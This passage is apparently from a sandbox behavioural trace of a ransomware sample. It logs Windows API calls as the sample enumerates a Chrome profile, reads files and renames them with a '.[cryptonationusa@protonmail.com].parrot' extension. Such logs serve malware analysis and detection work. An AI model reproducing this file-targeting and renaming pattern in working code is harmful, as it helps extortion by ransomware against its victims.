Size=0xc0) returned 0x5cb2e0 [0075.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x69a930 [0075.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0075.910] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a930 | out: hHeap=0x5b0000) returned 1 [0075.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8498 | out: hHeap=0x5b0000) returned 1 [0075.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d02b8 | out: hHeap=0x5b0000) returned 1 [0075.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0075.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0075.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.914] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.914] ReadFile (in: hFile=0x270, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.915] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.915] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x20000, lpOverlapped=0x0) returned 1 [0075.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.917] GetLastError () returned 0x0 [0075.924] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d0030 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d0218 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0030 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6a9fe8 [0075.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0218 | out: hHeap=0x5b0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d0030 [0075.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9fe8 | out: hHeap=0x5b0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x6a9fe8 [0075.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0030 | out: hHeap=0x5b0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x6aa950 [0075.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9fe8 | out: hHeap=0x5b0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6ab768 [0075.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aa950 | out: hHeap=0x5b0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x6acca8 [0075.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab768 | out: hHeap=0x5b0000) returned 1 [0075.933] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a930 | out: hHeap=0x5b0000) returned 1 [0075.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8498 | out: hHeap=0x5b0000) returned 1 [0075.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0075.939] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.939] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.940] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.940] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.940] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 1 [0075.940] lstrcmpW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2=".") returned 1 [0075.940] lstrcmpW (lpString1="_crx_aohghmighlieiainnegkcijnfilokake", lpString2="..") returned 1 [0075.940] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0075.940] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.940] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.942] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.942] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.942] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1 [0075.942] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.942] ReadFile (in: hFile=0x284, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0075.944] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.944] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x28df6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x28df6, lpOverlapped=0x0) returned 1 [0075.954] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.963] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0075.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8498 | out: hHeap=0x5b0000) returned 1 [0075.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0075.970] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0075.970] CloseHandle (hObject=0x284) returned 1 [0075.970] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico.md5", cAlternateFileName="GOOGLE~1.MD5")) returned 0 [0075.970] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0075.970] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbac2b720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbac2b720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.970] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Docs.ico.md5", cAlternateFileName="GOOGLE~1.MD5")) returned 1 [0075.971] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.971] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.971] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbac2b720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbac2b720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 1 [0075.971] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbac2b720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbac2b720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_crx_aohghmighlieiainnegkcijnfilokake", cAlternateFileName="_CRX_A~1")) returned 0 [0075.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.971] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0075.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0075.971] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f86c660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f86c660, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data", cAlternateFileName="WEBDAT~1")) returned 1 [0075.971] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.971] ReadFile (in: hFile=0x270, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.973] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.973] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x11000, lpOverlapped=0x0) returned 1 [0075.977] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.979] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.980] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b260 | out: hHeap=0x5b0000) returned 1 [0075.980] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0075.980] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2250f70 | out: hHeap=0x5b0000) returned 1 [0075.984] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0075.984] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbac51880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbac51880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.985] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaca2ee80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca2ee80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0075.985] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d44890, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0075.985] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d406e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d406e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xacc1e060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="COOKIE~1.PAR")) returned 1 [0075.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0075.989] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.989] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.989] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.989] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.989] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.989] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, 